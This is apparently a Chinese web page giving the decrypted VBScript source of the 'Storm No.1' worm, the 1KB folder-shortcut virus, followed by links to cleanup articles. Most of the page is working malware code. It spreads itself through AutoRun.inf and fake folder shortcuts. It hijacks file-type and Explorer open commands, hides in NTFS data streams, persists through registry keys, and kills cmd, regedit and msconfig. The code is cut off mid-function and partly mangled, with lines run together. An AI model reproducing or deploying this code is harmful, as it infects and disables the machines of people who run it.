解密后的暴风一号病毒(1KB文件夹快捷方式病毒)

On Error Resume Next
Dim Fso,WshShell
Set Fso=CreateObject(“scRiPTinG.fiLEsysTeMoBjEcT”)
Set WshShell=CreateObject(“wScRipT.SHelL”)
Call Main()
Sub Main()
On Error Resume Next
Dim Args, VirusLoad, VirusAss
Set Args=WScript.Arguments
VirusLoad=GetMainVirus(1)
VirusAss=GetMainVirus(0)
ArgNum=0

Do While ArgNum < Args.CountParam=Param&" "&Args(ArgNum)ArgNum=ArgNum + 1
Loop
SubParam=LCase(Right(Param, 3))Select Case SubParam
Case "run"RunPath=Left(WScript.ScriptFullName, 2)Call Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case "txt", "log","ini" ,"inf"RunPath="%SystemRoot%\system32\NOTEPAD.EXE "&ParamCall Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case "bat", "cmd"RunPath="CMD /c echo Hi!I'm here!&pause"Call Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case "reg"RunPath="regedit.exe "&""""&Trim(Param)&""""Call Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case "chm"RunPath="hh.exe "&""""&Trim(Param)&""""Call Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case "hlp"RunPath="winhlp32.exe "&""""&Trim(Param)&""""Call Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case "dir"RunPath=""""&Left(Trim(Param),Len(Trim(Param))-3)&""""Call Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case "oie"RunPath="""%ProgramFiles%\Internet Explorer\IEXPLORE.EXE"""Call Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case "omc"RunPath="explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"Call Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case "emc"RunPath="explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"Call Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case ElseIf PreDblInstance=True ThenWScript.QuitEnd IfTimeout = Datediff("ww", GetInfectedDate, Date) - 12If Timeout>0 And Month(Date) = Day(Date) ThenCall VirusAlert()Call MakeJoke(CInt(Month(Date)))End IfCall MonitorSystem()End Select

End Sub

Sub MonitorSystem()
On Error Resume Next
Dim ProcessNames, ExeFullNames
ProcessNames=Array(“cmd.exe”,”cmd.com”,”regedit.exe”,”regedit.scr”,”regedit.pif”,”regedit.com”,”msconfig.exe”)
VBSFullNames=Array(GetMainVirus(1))
Do
Call KillProcess(ProcessNames)
Call InvadeSystem(GetMainVirus(1),GetMainVirus(0))
Call KeepProcess(VBSFullNames)
WScript.Sleep 3000
Loop
End Sub

Sub InvadeSystem(VirusLoadPath,VirusAssPath)
On Error Resume Next
Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version
Load_Value=”“”“&VirusLoadPath&”“””
File_Value=”%SystemRoot%\System32\WScript.exe “&”“”“&VirusAssPath&”“”“&” %1 %* ”
IE_Value=”%SystemRoot%\System32\WScript.exe “&”“”“&VirusAssPath&”“”“&” OIE ”
MyCpt_Value1=”%SystemRoot%\System32\WScript.exe “&”“”“&VirusAssPath&”“”“&” OMC ”
MyCpt_Value2=”%SystemRoot%\System32\WScript.exe “&”“”“&VirusAssPath&”“”“&” EMC ”
HCULoad=”HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load”
HCUVer=”HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver”
HCUDate=”HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date”
VirusCode=GetCode(WScript.ScriptFullName)
Version=1
HostSourcePath=Fso.GetSpecialFolder(1)&”\Wscript.exe”
HostFilePath=Fso.GetSpecialFolder(0)&”\system\svchost.exe”

For Each Drive In Fso.DrivesIf Drive.IsReady and (Drive.DriveType=1 Or Drive.DriveType=2 Or Drive.DriveType=3) ThenDiskVirusName=GetSerialNumber(Drive.DriveLetter)&".vbs"Call CreateAutoRun(Drive.DriveLetter,DiskVirusName)Call InfectRoot(Drive.DriveLetter,DiskVirusName)End If
NextIf FSO.FileExists(VirusAssPath)=False Or FSO.FileExists(VirusLoadPath)=False Or FSO.FileExists(HostFilePath)=False Or GetVersion()< Version ThenIf GetFileSystemType(GetSystemDrive())="NTFS" ThenCall CreateFile(VirusCode,VirusAssPath)Call CreateFile(VirusCode,VirusLoadPath)Call CopyFile(HostSourcePath,HostFilePath)Call SetHiddenAttr(HostFilePath)ElseCall CreateFile(VirusCode, VirusAssPath)Call SetHiddenAttr(VirusAssPath)Call CreateFile(VirusCode,VirusLoadPath)Call SetHiddenAttr(VirusLoadPath)Call CopyFile(HostSourcePath, HostFilePath)Call SetHiddenAttr(HostFilePath)End If
End IfIf ReadReg(HCULoad)<>Load_Value  ThenCall WriteReg (HCULoad, Load_Value, "")
End IfIf GetVersion() < Version ThenCall WriteReg (HCUVer, Version, "")
End IfIf GetInfectedDate() = "" ThenCall WriteReg (HCUDate, Date, "")
End IfIf ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\")<>File_Value ThenCall SetTxtFileAss(VirusAssPath)
End IfIf ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\")<>File_Value ThenCall SetIniFileAss(VirusAssPath)
End IfIf ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\")<>File_Value ThenCall SetInfFileAss(VirusAssPath)
End IfIf ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\")<>File_Value ThenCall SetBatFileAss(VirusAssPath)
End IfIf ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\")<>File_Value ThenCall SetCmdFileAss(VirusAssPath)
End IfIf ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\")<>File_Value ThenCall SetRegFileAss(VirusAssPath)
End IfIf ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\")<>File_Value ThenCall SetchmFileAss(VirusAssPath)
End IfIf ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\")<>File_Value ThenCall SethlpFileAss(VirusAssPath)
End IfIf ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\")<>IE_Value ThenCall SetIEAss(VirusAssPath)
End IfIf ReadReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\")<>IE_Value ThenCall SetIEAss(VirusAssPath)
End IfIf ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\")<>MyCpt_Value1 ThenCall SetMyComputerAss(VirusAssPath)
End IfIf ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\")<>MyCpt_Value2 ThenCall SetMyComputerAss(VirusAssPath)
End IfCall RegSet()

End Sub

Sub CopyFile(source, pathf)
On Error Resume Next
If FSO.FileExists(pathf) Then
FSO.DeleteFile pathf , True
End If
FSO.CopyFile source, pathf
End Sub

Sub CreateFile(code, pathf)
On Error Resume Next
Dim FileText
If FSO.FileExists(pathf) Then
Set FileText=FSO.OpenTextFile(pathf, 2, False)
FileText.Write code
FileText.Close
Else
Set FileText=FSO.OpenTextFile(pathf, 2, True)
FileText.Write code
FileText.Close
End If
End Sub

Sub RegSet()
On Error Resume Next
Dim RegPath1 , RegPath2, RegPath3, RegPath4
RegPath1=”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue”
RegPath2=”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue”
RegPath3=”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun”
RegPath4=”HKEY_CLASSES_ROOT\lnkfile\IsShortcut”
Call WriteReg (RegPath1, 3, “REG_DWORD”)
Call WriteReg (RegPath2, 2, “REG_DWORD”)
Call WriteReg (RegPath3, 0, “REG_DWORD”)
Call DeleteReg (RegPath4)
End Sub

Sub KillProcess(ProcessNames)
On Error Resume Next
Set WMIService=GetObject(“winmgmts:\.\root\cimv2”)
For Each ProcessName in ProcessNames
Set ProcessList=WMIService.execquery(” Select * From win32_process where name =’”&ProcessName&”’ “)
For Each Process in ProcessList
IntReturn=Process.terminate
If intReturn<>0 Then
WshShell.Run “CMD /c ntsd -c q -p “&Process.Handle, vbHide, False
End If
Next
Next
End Sub

Sub KillImmunity(D)
On Error Resume Next
ImmunityFolder=D&”:\Autorun.inf”
If Fso.FolderExists(ImmunityFolder) Then
WshSHell.Run (“CMD /C CACLS “& “”“”&ImmunityFolder&”“”” &” /t /e /c /g everyone:f”),vbHide,True
WshSHell.Run (“CMD /C RD /S /Q “& ImmunityFolder), vbHide, True
End If
End Sub

Sub KeepProcess(VBSFullNames)
On Error Resume Next
For Each VBSFullName in VBSFullNames
If VBSProcessCount(VBSFullName) < 2 then
Run(“%SystemRoot%\system\svchost.exe “&VBSFullName)
End If
Next
End Sub

Function GetSystemDrive()
GetSystemDrive=Left(Fso.GetSpecialFolder(0),2)
End Function

Function GetFileSystemType(Drive)
Set d=FSO.GetDrive(Drive)
GetFileSystemType=d.FileSystem
End Function

Function ReadReg(strkey)
Dim tmps
Set tmps=CreateObject(“WScript.Shell”)
ReadReg=tmps.RegRead(strkey)
Set tmps=Nothing
End Function

Sub WriteReg(strkey, Value, vtype)
Dim tmps
Set tmps=CreateObject(“WScript.Shell”)
If vtype=”” Then
tmps.RegWrite strkey, Value
Else
tmps.RegWrite strkey, Value, vtype
End If
Set tmps=Nothing
End Sub

Sub DeleteReg(strkey)
Dim tmps
Set tmps=CreateObject(“WScript.Shell”)
tmps.RegDelete strkey
Set tmps=Nothing
End Sub

Sub SetHiddenAttr(path)
On Error Resume Next
Dim vf
Set vf=FSO.GetFile(path)
Set vf=FSO.GetFolder(path)
vf.Attributes=6
End Sub

Sub Run(ExeFullName)
On Error Resume Next
Dim WshShell
Set WshShell=WScript.CreateObject(“WScript.Shell”)
WshShell.Run ExeFullName
Set WshShell=Nothing
End Sub

Sub InfectRoot(D,VirusName)
On Error Resume Next
Dim VBSCode
VBSCode=GetCode(WScript.ScriptFullName)
VBSPath=D&”:\”&VirusName
If FSO.FileExists(VBSPath)=False Then
Call CreateFile(VBSCode, VBSPath)
Call SetHiddenAttr(VBSPath)
End If
Set Folder=Fso.GetFolder(D&”:\”)
Set SubFolders=Folder.Subfolders
For Each SubFolder In SubFolders
SetHiddenAttr(SubFolder.Path)
LnkPath=D&”:\”&SubFolder.Name&”.lnk”
TargetPath=D&”:\”&VirusName
Args=”“”“&D&”:\”&SubFolder.Name& “\Dir”“”
If Fso.FileExists(LnkPath)=False Or GetTargetPath(LnkPath) <> TargetPath Then
If Fso.FileExists(LnkPath)=True Then
FSO.DeleteFile LnkPath, True
End If
Call CreateShortcut(LnkPath,TargetPath,Args)
End If
Next
End Sub

Sub CreateShortcut(LnkPath,TargetPath,Args)
Set Shortcut=WshShell.CreateShortcut(LnkPath)
with Shortcut
.TargetPath=TargetPath
.Arguments=Args
.WindowStyle=4
.IconLocation=”%SystemRoot%\System32\Shell32.dll, 3”
.Save
end with
End Sub

Sub CreateAutoRun(D,VirusName)
On Error Resume Next
Dim InfPath, VBSPath, VBSCode
InfPath=D&”:\AutoRun.inf”
VBSPath=D&”:\”&VirusName
VBSCode=GetCode(WScript.ScriptFullName)
If FSO.FileExists(InfPath)=False Or FSO.FileExists(VBSPath)=False Then
Call CreateFile(VBSCode, VBSPath)
Call SetHiddenAttr(VBSPath)
StrInf=”[AutoRun]”&VBCRLF&”Shellexecute=WScript.exe “&VirusName&” “”AutoRun”“”&VBCRLF&”shell\open=打开(&O)”&VBCRLF&”shell\open\command=WScript.exe “&VirusName&” “”AutoRun”“”&VBCRLF&”shell\open\Default=1”& VBCRLF&”shell\explore=资源管理器(&X)”&VBCRLF&”shell\explore\command=WScript.exe “&VirusName&” “”AutoRun”“”
Call KillImmunity(D)
Call CreateFile(StrInf, InfPath)
Call SetHiddenAttr(InfPath)
End If
End Sub

Sub SetTxtFileAss(sFilePath)
On Error Resume Next
Dim Value
Value=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” %1 %* ”
Call WriteReg(“HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\”, Value, “REG_EXPAND_SZ”)
End Sub

Sub SetIniFileAss(sFilePath)
On Error Resume Next
Dim Value
Value=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” %1 %* ”
Call WriteReg(“HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\”, Value, “REG_EXPAND_SZ”)
End Sub

Sub SetInfFileAss(sFilePath)
On Error Resume Next
Dim Value
Value=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” %1 %* ”
Call WriteReg(“HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\”, Value, “REG_EXPAND_SZ”)
End Sub

Sub SetBatFileAss(sFilePath)
On Error Resume Next
Dim Value
Value=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” %1 %* ”
Call WriteReg(“HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\”, Value, “REG_EXPAND_SZ”)
End Sub

Sub SetCmdFileAss(sFilePath)
On Error Resume Next
Dim Value
Value=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” %1 %* ”
Call WriteReg(“HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\”, Value, “REG_EXPAND_SZ”)
End Sub

Sub SethlpFileAss(sFilePath)
On Error Resume Next
Dim Value
Value=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” %1 %* ”
Call WriteReg(“HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\”, Value, “REG_EXPAND_SZ”)
End Sub

Sub SetRegFileAss(sFilePath)
On Error Resume Next
Dim Value
Value=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” %1 %* ”
Call WriteReg(“HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\”, Value, “REG_EXPAND_SZ”)
End Sub

Sub SetchmFileAss(sFilePath)
On Error Resume Next
Dim Value
Value=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” %1 %* ”
Call WriteReg(“HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\”, Value, “REG_EXPAND_SZ”)
End Sub

Sub SetIEAss(sFilePath)
On Error Resume Next
Dim Value
Value=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” OIE ”
Call WriteReg(“HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\”, Value, “REG_EXPAND_SZ”)
Call WriteReg(“HKEY_CLASSES_ROOT\CLSID{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\”, Value, “REG_EXPAND_SZ”)
End Sub

Sub SetMyComputerAss(sFilePath)
On Error Resume Next
Dim Value1,Value2
Value1=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” OMC ”
Value2=”%SystemRoot%\System32\WScript.exe “&”“”“&sFilePath&”“”“&” EMC ”
Call WriteReg(“HKEY_CLASSES_ROOT\CLSID{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\”, “”, “REG_SZ”)
Call WriteReg(“HKEY_CLASSES_ROOT\CLSID{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\”, Value1, “REG_EXPAND_SZ”)
Call WriteReg(“HKEY_CLASSES_ROOT\CLSID{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\”, Value2, “REG_EXPAND_SZ”)
End Sub

Function GetSerialNumber(Drv)
On Error Resume Next
Set d=fso.GetDrive(Drv)
GetSerialNumber=d.SerialNumber
GetSerialNumber=Replace(GetSerialNumber,”-“,”“)
End Function

Function GetMainVirus(N)
On Error Resume Next
MainVirusName=GetSerialNumber(GetSystemDrive())&”.vbs”
If GetFileSystemType(GetSystemDrive())=”NTFS” Then
If N=1 Then
GetMainVirus=Fso.GetSpecialFolder(N)&”\smss.exe:”&MainVirusName
End If
If N=0 Then
GetMainVirus=Fso.GetSpecialFolder(N)&”\explorer.exe:”&MainVirusName
End If
Else
GetMainVirus=Fso.GetSpecialFolder(N)&”\”&MainVirusName
End If
End Function

Function VBSProcessCount(VBSPath)
On Error Resume Next
Dim WMIService, ProcessList, Process
VBSProcessCount=0
Set WMIService=GetObject(“winmgmts:\.\root\cimv2”)
Set ProcessList=WMIService.ExecQuery(“Select * from Win32_Process Where “&”Name=’cscript.exe’ or Name=’wscript.exe’ or Name=’svchost.exe’”)
For Each Process in ProcessList
If InStr(Process.CommandLine, VBSPath)>0 Then
VBSProcessCount=VBSProcessCount+1
End If
Next
End Function

Function PreDblInstance()
On Error Resume Next
PreDblInstance=False
If VBSProcessCount(WScript.ScriptFullName)>= 3 Then
PreDblInstance=True
End If
End Function

Function GetTargetPath(LnkPath)
On Error Resume Next
Dim Shortcut
Set Shortcut=WshShell.CreateShortcut(LnkPath)
GetTargetPath=Shortcut.TargetPath
End Function

Function GetCode(FullPath)
On Error Resume Next
Dim FileText
Set FileText=FSO.OpenTextFile(FullPath, 1)
GetCode=FileText.ReadAll
FileText.Close
End Function

Function GetVersion()
Dim VerInfo
VerInfo=”HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver”
If ReadReg(VerInfo)=”” Then
GetVersion=0
Else
GetVersion=CInt(ReadReg(VerInfo))
End If
End Function

Sub VirusAlert()
On Error Resume Next
Dim HtaPath,HtaCode
HtaPath=Fso.GetSpecialFolder(1)&”\BFAlert.hta”
HtaCode=”暴风一号“&VBCRLF&”

解密后的暴风一号病毒(1KB文件夹快捷方式病毒)相关推荐

1k文件夹快捷方式病毒清理
来源:http://bbs.ikaka.com/showtopic-8665656.aspx "1k文件夹快捷方式病毒"是个.vbs+数据流双料病毒(病毒的数据流部分只在NTFS分 ...
文件夹快捷方式VBS病毒清除专杀
文件夹快捷方式病毒清除专用附件包含下面几部分. 1.自动化清除脚本 2.NTFS系统盘专用清理工具清理工具和FAT32系统盘专用清理工具 3.恢复文件夹属性工具首先使用"自动化清除脚本程序 ...
肢解“文件夹图标”病毒，制作专杀工具——“郑大扫帚”
肢解"文件夹图标"病毒,制作专杀工具--"郑大扫帚" 回想2009年7-8月份,学校机房被"文件夹图标病毒"变成了病毒"集散地&q ...
移动盘同名文件夹EXE病毒
一.病毒名称病毒名称:移动盘同名文件夹病毒:文件夹EXE病毒:同名文件夹EXE病毒木马名称:Worm.Win32.AutoRun.soq 二.中毒特征移动盘中毒后,移动盘中的所有文件夹被隐藏起来 ...
attrib批量显示文件夹_电脑中病毒，文件夹全部变成快捷方式？3种方法轻松解决！...
原标题:电脑中病毒,文件夹全部变成快捷方式?3种方法轻松解决! 最近有位朋友去打印店的时候,u盘一不小心就带回了1KB快捷方式病毒,导致电脑u盘里的文件以及文件夹全部变成了快捷方式,不知道如何解决. ...
为什么一定要杀掉病毒？---帮一位老师解决MyDocument.exe优盘文件夹图标病毒问题...
最近一位大学老师给我抱怨了一个她遇到的烦恼,一直在纠结,生活都被打乱了,事情大概是这样的: 她的优盘里辛辛苦苦弄好备课文件,放在了优盘里,可是每次上课时,就是找不到文件.有时好多文件都被修改了,非常烦 ...
文件夹exe病毒的解决方法
U盘插入到电脑后,突然发现U盘内的文件生成了以文件夹名字命名的可执行文件,扩展名为exe,单击"打开"或是双击打开文件都无法正常打开,碰到这样的情况该如何解决?今天小编为大家分析一 ...
台式电脑中病毒了文件夹变exe应用程序文件找到法子
文件夹变exe应用程序是电脑中毒了,这种病毒会删除硬盘里所有文件,然后创建一个同名的exe文件,伪装成原来的文件.台式电脑中病毒了文件夹变exe应用程序文件找到法子然后按下面的步骤恢复即可. 工具/软 ...
一体机中病毒了文件夹变exe应用程序资料找到方法
文件夹变exe应用程序是电脑中毒了,这种病毒会删除硬盘里所有文件,然后创建一个同名的exe文件,伪装成原来的文件.一体机中病毒了文件夹变exe应用程序资料找到方法然后按下面的步骤恢复即可. 工具/软件 ...
WinRAR技巧:解压后自动打开解压好的文件夹
WinRAR技巧:解压后自动打开解压好的文件夹很多读者喜欢使用老牌的解压缩工具WinRAR,大家使用WinRAR解压文件之后的第一件事就是找到解压好的文件夹,双击文件夹,以便在里面找到自己想要的文件 ...

解密后的暴风一号病毒(1KB文件夹快捷方式病毒)

解密后的暴风一号病毒(1KB文件夹快捷方式病毒)相关推荐

最新文章

热门文章